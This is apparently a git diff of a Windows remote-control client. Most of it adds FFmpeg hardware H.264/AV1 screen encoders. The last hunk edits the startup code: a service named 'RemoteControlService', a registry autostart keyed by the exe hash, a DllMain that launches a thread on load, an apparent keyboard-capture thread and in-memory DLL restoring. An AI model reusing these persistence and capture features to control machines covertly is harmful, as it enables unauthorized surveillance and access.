setOpt(m_ctx->priv_data, "preset", "p5", name);
|
||||
setOpt(m_ctx->priv_data, "tune", "ll", name);
|
||||
setOpt(m_ctx->priv_data, "rc", "vbr", name);
|
||||
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
|
||||
setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
|
||||
} else if (strcmp(name, "av1_amf") == 0) {
|
||||
// av1_amf 选项命名与 h264_amf 大体一致,rc 同样支持 vbr_peak
|
||||
// (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
|
||||
setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
|
||||
setOpt(m_ctx->priv_data, "quality", "quality", name);
|
||||
setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
|
||||
setOptInt(m_ctx->priv_data, "vbaq", 1, name);
|
||||
setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
|
||||
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
|
||||
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
|
||||
} else if (strcmp(name, "av1_qsv") == 0) {
|
||||
// av1_qsv:bit_rate < max_rate 时自动 VBR
|
||||
setOpt(m_ctx->priv_data, "preset", "slow", name);
|
||||
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
|
||||
setOptInt(m_ctx->priv_data, "low_power", 0, name);
|
||||
}
|
||||
|
||||
int ret = avcodec_open2(m_ctx, codec, nullptr);
|
||||
if (ret < 0) {
|
||||
// 找到了但开不起来:无对应 GPU / 驱动太旧 / 跨适配器
|
||||
char errbuf[128] = {0};
|
||||
av_strerror(ret, errbuf, sizeof(errbuf));
|
||||
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_frame = av_frame_alloc();
|
||||
if (!m_frame) return false;
|
||||
m_frame->format = AV_PIX_FMT_NV12;
|
||||
m_frame->width = m_ctx->width;
|
||||
m_frame->height = m_ctx->height;
|
||||
if (av_frame_get_buffer(m_frame, 32) < 0) {
|
||||
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_packet = av_packet_alloc();
|
||||
return m_packet != nullptr;
|
||||
}
|
||||
|
||||
void CFFmpegAV1Encoder::setBitrate(int kbps) {
|
||||
if (!m_ctx) return;
|
||||
m_ctx->bit_rate = (int64_t)kbps * 1000;
|
||||
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
|
||||
m_ctx->rc_buffer_size = (int)(kbps * 1000);
|
||||
// 同 H.264 路径:多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效;
|
||||
// 这里仅更新数值,下次 open 时生效。
|
||||
}
|
||||
|
||||
int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
int direction)
|
||||
{
|
||||
int signed_height = direction * (int)height;
|
||||
int w = (int)width;
|
||||
int h = (int)height;
|
||||
int y_size = w * h;
|
||||
int uv_size = (w / 2) * (h / 2);
|
||||
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||
|
||||
uint8_t* y = m_i420Scratch.data();
|
||||
uint8_t* u = y + y_size;
|
||||
uint8_t* v = u + uv_size;
|
||||
|
||||
if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
|
||||
return -1;
|
||||
if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
|
||||
m_frame->data[0], m_frame->linesize[0],
|
||||
m_frame->data[1], m_frame->linesize[1],
|
||||
w, h) != 0)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CFFmpegAV1Encoder::encode(
|
||||
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||
{
|
||||
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||
|
||||
int w = (int)width;
|
||||
int h = (int)height;
|
||||
int signed_height = direction * h;
|
||||
|
||||
if (bpp == 32) {
|
||||
if (libyuv::ARGBToNV12(
|
||||
rgb, stride,
|
||||
m_frame->data[0], m_frame->linesize[0],
|
||||
m_frame->data[1], m_frame->linesize[1],
|
||||
w, signed_height) != 0) {
|
||||
return -1;
|
||||
}
|
||||
} else if (bpp == 24) {
|
||||
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
|
||||
return -1;
|
||||
}
|
||||
} else {
|
||||
return -2;
|
||||
}
|
||||
|
||||
m_frame->pts = m_pts++;
|
||||
if (m_forceIDR) {
|
||||
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||
m_forceIDR = false;
|
||||
} else {
|
||||
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||
}
|
||||
|
||||
int ret = avcodec_send_frame(m_ctx, m_frame);
|
||||
if (ret < 0) return -3;
|
||||
|
||||
ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||
if (ret == AVERROR(EAGAIN)) {
|
||||
*lppData = nullptr;
|
||||
*lpSize = 0;
|
||||
return 0;
|
||||
}
|
||||
if (ret < 0) return -4;
|
||||
|
||||
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||
*lppData = m_outputBuffer.data();
|
||||
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||
av_packet_unref(m_packet);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||
62
client/CFFmpegAV1Encoder.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#pragma once
|
||||
|
||||
#include "VideoEncoderBase.h"
|
||||
#include "common/config.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
|
||||
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||
|
||||
struct AVCodecContext;
|
||||
struct AVFrame;
|
||||
struct AVPacket;
|
||||
|
||||
// FFmpeg 硬编 AV1 实现。
|
||||
// 后端探测顺序:av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
|
||||
// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
|
||||
// 硬件时 open 全部失败,由 EncoderFactory 自动回退到 H.264 路径。
|
||||
//
|
||||
// 注意:FFmpeg 7.1 没有 av1_mf 兜底,因此本类的探测列表比 H.264 短一项。
|
||||
class CFFmpegAV1Encoder : public VideoEncoderBase
|
||||
{
|
||||
public:
|
||||
CFFmpegAV1Encoder();
|
||||
~CFFmpegAV1Encoder() override;
|
||||
|
||||
bool open(const EncoderParams& params) override;
|
||||
void close() override;
|
||||
|
||||
int encode(
|
||||
uint8_t* rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t** lppData,
|
||||
uint32_t* lpSize,
|
||||
int direction = 1
|
||||
) override;
|
||||
|
||||
void forceIDR() override { m_forceIDR = true; }
|
||||
void setBitrate(int kbps) override;
|
||||
VideoCodec codec() const override { return VideoCodec::AV1; }
|
||||
const char* backendName() const override { return m_backend.c_str(); }
|
||||
|
||||
private:
|
||||
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||
void cleanupCodec();
|
||||
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||
uint32_t width, uint32_t height, int direction);
|
||||
|
||||
AVCodecContext* m_ctx = nullptr;
|
||||
AVFrame* m_frame = nullptr;
|
||||
AVPacket* m_packet = nullptr;
|
||||
std::vector<uint8_t> m_outputBuffer;
|
||||
std::vector<uint8_t> m_i420Scratch;
|
||||
int64_t m_pts = 0;
|
||||
bool m_forceIDR = false;
|
||||
std::string m_backend;
|
||||
};
|
||||
|
||||
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||
304
client/CFFmpegH264Encoder.cpp
Normal file
@@ -0,0 +1,304 @@
|
||||
#include "CFFmpegH264Encoder.h"
|
||||
#include "common/config.h"
|
||||
#include "common/logger.h"
|
||||
|
||||
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
|
||||
// 都不进编译单元,FFmpeg 静态库不会被链接进二进制
|
||||
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||
|
||||
extern "C" {
|
||||
#include <libavcodec/avcodec.h>
|
||||
#include <libavutil/opt.h>
|
||||
#include <libavutil/imgutils.h>
|
||||
#include <libyuv/libyuv.h>
|
||||
}
|
||||
|
||||
#include <string.h>
|
||||
#include <cstdlib>
|
||||
|
||||
// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入,由 _WIN64 守护。
|
||||
// FFmpeg 三个核心库是纯 C,CRT 中性,Debug/Release 共用一份。
|
||||
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||
// dav1d (AV1 软解,C 项目) —— 不分 Debug/Release。
|
||||
// build 时启用了 --enable-libdav1d,libavcodec 内部 av1 decoder 引用了 dav1d 符号。
|
||||
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
|
||||
// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致,必须按 _DEBUG 切。
|
||||
// build 时启用了 --enable-libvpl,libavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib,"ffmpeg/vpl_x64.lib")
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "mfplat.lib")
|
||||
#pragma comment(lib, "mfuuid.lib")
|
||||
#pragma comment(lib, "strmiids.lib")
|
||||
#pragma comment(lib, "secur32.lib")
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
#pragma comment(lib, "ole32.lib")
|
||||
// ws2_32 在 IOCPClient.h 已 link,重复不冲突
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// av_opt_set wrappers:FFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
|
||||
// 不报错,导致 encoder 退回默认行为且没人察觉(实际踩过:AMF rc=vbr_peak_constrained
|
||||
// 拼成全名,FFmpeg 实际只接受 vbr_peak,没设上去就退回 CBR)。
|
||||
// 包一层 helper,任何设置失败 Mprintf 警告。
|
||||
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
|
||||
int rc = av_opt_set(obj, name, val, 0);
|
||||
if (rc < 0) {
|
||||
char errbuf[128] = {0};
|
||||
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
|
||||
name, val, backend, rc, errbuf);
|
||||
}
|
||||
}
|
||||
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
|
||||
int rc = av_opt_set_int(obj, name, val, 0);
|
||||
if (rc < 0) {
|
||||
char errbuf[128] = {0};
|
||||
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
|
||||
name, (long long)val, backend, rc, errbuf);
|
||||
}
|
||||
}
|
||||
|
||||
// 后端探测顺序:NVIDIA > Intel > AMD > Windows MF 兜底。
|
||||
// open() 主循环按顺序试,第一个 avcodec_open2 成功的就用。
|
||||
// h264_mf 质量/稳定性一般,但是 Windows 系统级 hwaccel,任何 GPU 都能尝试,作最后兜底。
|
||||
static const char* kH264Backends[] = {
|
||||
"h264_nvenc", // NVIDIA NVENC
|
||||
"h264_qsv", // Intel Quick Sync Video
|
||||
"h264_amf", // AMD AMF
|
||||
"h264_mf", // Windows Media Foundation
|
||||
};
|
||||
|
||||
CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
|
||||
|
||||
CFFmpegH264Encoder::~CFFmpegH264Encoder() {
|
||||
close();
|
||||
}
|
||||
|
||||
void CFFmpegH264Encoder::cleanupCodec() {
|
||||
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
|
||||
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
|
||||
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
|
||||
}
|
||||
|
||||
void CFFmpegH264Encoder::close() {
|
||||
cleanupCodec();
|
||||
m_backend.clear();
|
||||
m_pts = 0;
|
||||
m_forceIDR = false;
|
||||
}
|
||||
|
||||
bool CFFmpegH264Encoder::open(const EncoderParams& params) {
|
||||
close();
|
||||
for (const char* name : kH264Backends) {
|
||||
if (tryOpenBackend(name, params)) {
|
||||
m_backend = name;
|
||||
return true;
|
||||
}
|
||||
cleanupCodec(); // 释放本次失败的 ctx,准备下一次尝试
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||
if (!codec) {
|
||||
// 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
|
||||
Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ctx = avcodec_alloc_context3(codec);
|
||||
if (!m_ctx) {
|
||||
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 偶数对齐(与 x264 路径 i_width/i_height & 0xfffffffe 一致)
|
||||
m_ctx->width = p.width & ~1;
|
||||
m_ctx->height = p.height & ~1;
|
||||
m_ctx->time_base = AVRational{1, p.fps};
|
||||
m_ctx->framerate = AVRational{p.fps, 1};
|
||||
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
|
||||
m_ctx->max_b_frames = 0;
|
||||
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||
|
||||
// RC 策略选择:远程办公 90% 时间是静态画面(文档/IDE/邮件),CBR 会强行
|
||||
// 把目标码率填满(静态用不上的部分浪费带宽)。所有硬编后端统一改用 VBR,
|
||||
// bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限:静态时 encoder 自动
|
||||
// 降码率省带宽,动态时回到目标 + 短暂上探到 1.5x 保证画质。
|
||||
// 接近 x264 软编 CRF + VBV 的行为,但严格守住峰值不爆。
|
||||
if (strcmp(name, "h264_nvenc") == 0) {
|
||||
// NVENC preset: p1(最快/低质) ~ p7(最慢/高质),远控低延迟 p5 兼顾。
|
||||
// tune=ll low-latency;rc=vbr 配 max_rate 实现峰值受限的 VBR。
|
||||
setOpt(m_ctx->priv_data, "preset", "p5", name);
|
||||
setOpt(m_ctx->priv_data, "tune", "ll", name);
|
||||
setOpt(m_ctx->priv_data, "rc", "vbr", name);
|
||||
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
|
||||
} else if (strcmp(name, "h264_qsv") == 0) {
|
||||
// Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
|
||||
// QSV 当 bit_rate != rc_max_rate 时自动走 VBR,所以这里只需调 preset。
|
||||
// preset=slow 比 medium 慢但画质好,async_depth=1 单帧立即出包。
|
||||
// low_power=0 走 PAK 路径,部分集显不支持 low_power 模式。
|
||||
setOpt(m_ctx->priv_data, "preset", "slow", name);
|
||||
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
|
||||
setOptInt(m_ctx->priv_data, "low_power", 0, name);
|
||||
} else if (strcmp(name, "h264_amf") == 0) {
|
||||
// AMD AMF 远控低延迟配置:
|
||||
// usage=ultralowlatency 比 lowlatency 更激进,关闭一切 lookahead;
|
||||
// quality=speed 选最快编码路径(vs balanced/quality);
|
||||
// rc=cbr 提供最可预测的输出节拍,避免 RC 切换抖动。
|
||||
// 静态画面省码率交给应用层 skip 检测(ScreenCapture::GetNextScreenData
|
||||
// 已经过 memcmp 把无变化帧直接拦在编码器之前),不再依赖 vbaq/preanalysis
|
||||
// 这些会引入 30-100ms lookahead 的"省码率三件套"。
|
||||
setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
|
||||
setOpt(m_ctx->priv_data, "quality", "speed", name);
|
||||
setOpt(m_ctx->priv_data, "rc", "cbr", name);
|
||||
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
|
||||
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
|
||||
} else if (strcmp(name, "h264_mf") == 0) {
|
||||
// Windows Media Foundation 兜底。rate_control 实际值(ffmpeg -h encoder=h264_mf):
|
||||
// default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
|
||||
// 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
|
||||
setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
|
||||
setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
|
||||
}
|
||||
|
||||
int ret = avcodec_open2(m_ctx, codec, nullptr);
|
||||
if (ret < 0) {
|
||||
// 失败 = encoder 找到了但开不起来。常见:无 NVIDIA GPU / 驱动太旧 /
|
||||
// NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
|
||||
char errbuf[128] = {0};
|
||||
av_strerror(ret, errbuf, sizeof(errbuf));
|
||||
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_frame = av_frame_alloc();
|
||||
if (!m_frame) return false;
|
||||
m_frame->format = AV_PIX_FMT_NV12;
|
||||
m_frame->width = m_ctx->width;
|
||||
m_frame->height = m_ctx->height;
|
||||
if (av_frame_get_buffer(m_frame, 32) < 0) {
|
||||
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_packet = av_packet_alloc();
|
||||
return m_packet != nullptr;
|
||||
}
|
||||
|
||||
void CFFmpegH264Encoder::setBitrate(int kbps) {
|
||||
if (!m_ctx) return;
|
||||
m_ctx->bit_rate = (int64_t)kbps * 1000;
|
||||
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
|
||||
m_ctx->rc_buffer_size = (int)(kbps * 1000);
|
||||
// 注意:FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效;
|
||||
// 这里只更新数值,下次 open 时才生效。Step 1 不依赖动态调码率。
|
||||
}
|
||||
|
||||
int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
int direction)
|
||||
{
|
||||
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
|
||||
int w = m_ctx->width;
|
||||
int h = m_ctx->height;
|
||||
int signed_height = direction * h;
|
||||
int y_size = w * h;
|
||||
int uv_size = (w / 2) * (h / 2);
|
||||
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||
|
||||
uint8_t* y = m_i420Scratch.data();
|
||||
uint8_t* u = y + y_size;
|
||||
uint8_t* v = u + uv_size;
|
||||
|
||||
if (libyuv::RGB24ToI420(
|
||||
rgb, stride,
|
||||
y, w,
|
||||
u, w / 2,
|
||||
v, w / 2,
|
||||
w, signed_height) != 0) {
|
||||
return -1;
|
||||
}
|
||||
if (libyuv::I420ToNV12(
|
||||
y, w,
|
||||
u, w / 2,
|
||||
v, w / 2,
|
||||
m_frame->data[0], m_frame->linesize[0],
|
||||
m_frame->data[1], m_frame->linesize[1],
|
||||
w, h) != 0) {
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CFFmpegH264Encoder::encode(
|
||||
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||
{
|
||||
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||
|
||||
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
|
||||
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
|
||||
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
|
||||
// past the end of m_frame->data[0] → heap corruption / access violation.
|
||||
int w = m_ctx->width;
|
||||
int h = m_ctx->height;
|
||||
int signed_height = direction * h;
|
||||
|
||||
if (bpp == 32) {
|
||||
if (libyuv::ARGBToNV12(
|
||||
rgb, stride,
|
||||
m_frame->data[0], m_frame->linesize[0],
|
||||
m_frame->data[1], m_frame->linesize[1],
|
||||
w, signed_height) != 0) {
|
||||
return -1;
|
||||
}
|
||||
} else if (bpp == 24) {
|
||||
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
|
||||
return -1;
|
||||
}
|
||||
} else {
|
||||
return -2;
|
||||
}
|
||||
|
||||
m_frame->pts = m_pts++;
|
||||
if (m_forceIDR) {
|
||||
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||
m_forceIDR = false;
|
||||
} else {
|
||||
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||
}
|
||||
|
||||
int ret = avcodec_send_frame(m_ctx, m_frame);
|
||||
if (ret < 0) return -3;
|
||||
|
||||
ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||
if (ret == AVERROR(EAGAIN)) {
|
||||
// 首帧延迟:本次没出包,调用方按 lpSize==0 跳过本帧
|
||||
*lppData = nullptr;
|
||||
*lpSize = 0;
|
||||
return 0;
|
||||
}
|
||||
if (ret < 0) return -4;
|
||||
|
||||
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||
*lppData = m_outputBuffer.data();
|
||||
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||
av_packet_unref(m_packet);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||
62
client/CFFmpegH264Encoder.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#pragma once
|
||||
|
||||
#include "VideoEncoderBase.h"
|
||||
#include "common/config.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
|
||||
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||
|
||||
struct AVCodecContext;
|
||||
struct AVFrame;
|
||||
struct AVPacket;
|
||||
|
||||
// FFmpeg 硬编 H.264 实现。
|
||||
// Step 1: 仅探测 h264_nvenc 单后端,足以验证 FFmpeg 静态库集成链路。
|
||||
// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
|
||||
//
|
||||
// 输入像素:BGRA (bpp=32) / RGB24 (bpp=24),与 CX264Encoder 完全一致;
|
||||
// 内部转 NV12 喂给 FFmpeg encoder。
|
||||
class CFFmpegH264Encoder : public VideoEncoderBase
|
||||
{
|
||||
public:
|
||||
CFFmpegH264Encoder();
|
||||
~CFFmpegH264Encoder() override;
|
||||
|
||||
bool open(const EncoderParams& params) override;
|
||||
void close() override;
|
||||
|
||||
int encode(
|
||||
uint8_t* rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t** lppData,
|
||||
uint32_t* lpSize,
|
||||
int direction = 1
|
||||
) override;
|
||||
|
||||
void forceIDR() override { m_forceIDR = true; }
|
||||
void setBitrate(int kbps) override;
|
||||
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||
const char* backendName() const override { return m_backend.c_str(); }
|
||||
|
||||
private:
|
||||
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||
void cleanupCodec();
|
||||
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||
uint32_t width, uint32_t height, int direction);
|
||||
|
||||
AVCodecContext* m_ctx = nullptr;
|
||||
AVFrame* m_frame = nullptr;
|
||||
AVPacket* m_packet = nullptr;
|
||||
std::vector<uint8_t> m_outputBuffer; // encode 返回给调用方的缓冲(持有到下一次 encode)
|
||||
std::vector<uint8_t> m_i420Scratch; // RGB24 路径的中间缓冲
|
||||
int64_t m_pts = 0;
|
||||
bool m_forceIDR = false;
|
||||
std::string m_backend; // 实际选中的后端名("h264_nvenc" / ...)
|
||||
};
|
||||
|
||||
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||
@@ -6,11 +6,24 @@
|
||||
#include <common/iniFile.h>
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
#include <intrin.h> // for __cpuid, __cpuidex
|
||||
extern "C" {
|
||||
#include "reg_startup.h"
|
||||
#include "ServiceWrapper.h"
|
||||
}
|
||||
|
||||
extern void licenseInit();
|
||||
|
||||
// Check if CPU supports AVX2 instruction set
|
||||
static BOOL IsAVX2Supported()
|
||||
{
|
||||
int cpuInfo[4] = { 0, 0, 0, 0 };
|
||||
__cpuid(cpuInfo, 0);
|
||||
if (cpuInfo[0] < 7) return FALSE;
|
||||
__cpuidex(cpuInfo, 7, 0);
|
||||
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
|
||||
}
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
@@ -195,6 +208,16 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
// Check AVX2 support at startup
|
||||
if (!IsAVX2Supported()) {
|
||||
MessageBoxA(NULL,
|
||||
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||
"CPU 不兼容", MB_ICONERROR);
|
||||
return -1;
|
||||
}
|
||||
|
||||
licenseInit();
|
||||
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
@@ -312,6 +335,14 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
{
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH: {
|
||||
// Check AVX2 support before starting
|
||||
if (!IsAVX2Supported()) {
|
||||
MessageBoxA(NULL,
|
||||
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||
"CPU 不兼容", MB_ICONERROR);
|
||||
return FALSE;
|
||||
}
|
||||
licenseInit();
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||
break;
|
||||
@@ -526,7 +557,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
// The main ClientApp.
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
}
|
||||
if (!app.m_bShared) {
|
||||
static bool hasRun = false;
|
||||
if (!app.m_bShared && !hasRun) {
|
||||
hasRun = true;
|
||||
auto a = cfg.GetStr("settings", "share_list");
|
||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||
for (int i = 0; i < shareList.size(); ++i) {
|
||||
@@ -538,6 +571,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
std::string expiredDate;
|
||||
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
||||
if (isAuthKernel) ParseAuthServer(&settings);
|
||||
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||||
VERIFY_V2_AND_SET_AUTHORIZED();
|
||||
@@ -556,7 +590,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
|
||||
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
@@ -571,7 +606,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
SAFE_DELETE(Manager);
|
||||
|
||||
//准备第一波数据
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate);
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate, isAuthKernel);
|
||||
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||||
Manager->SetClientApp(&app);
|
||||
|
||||
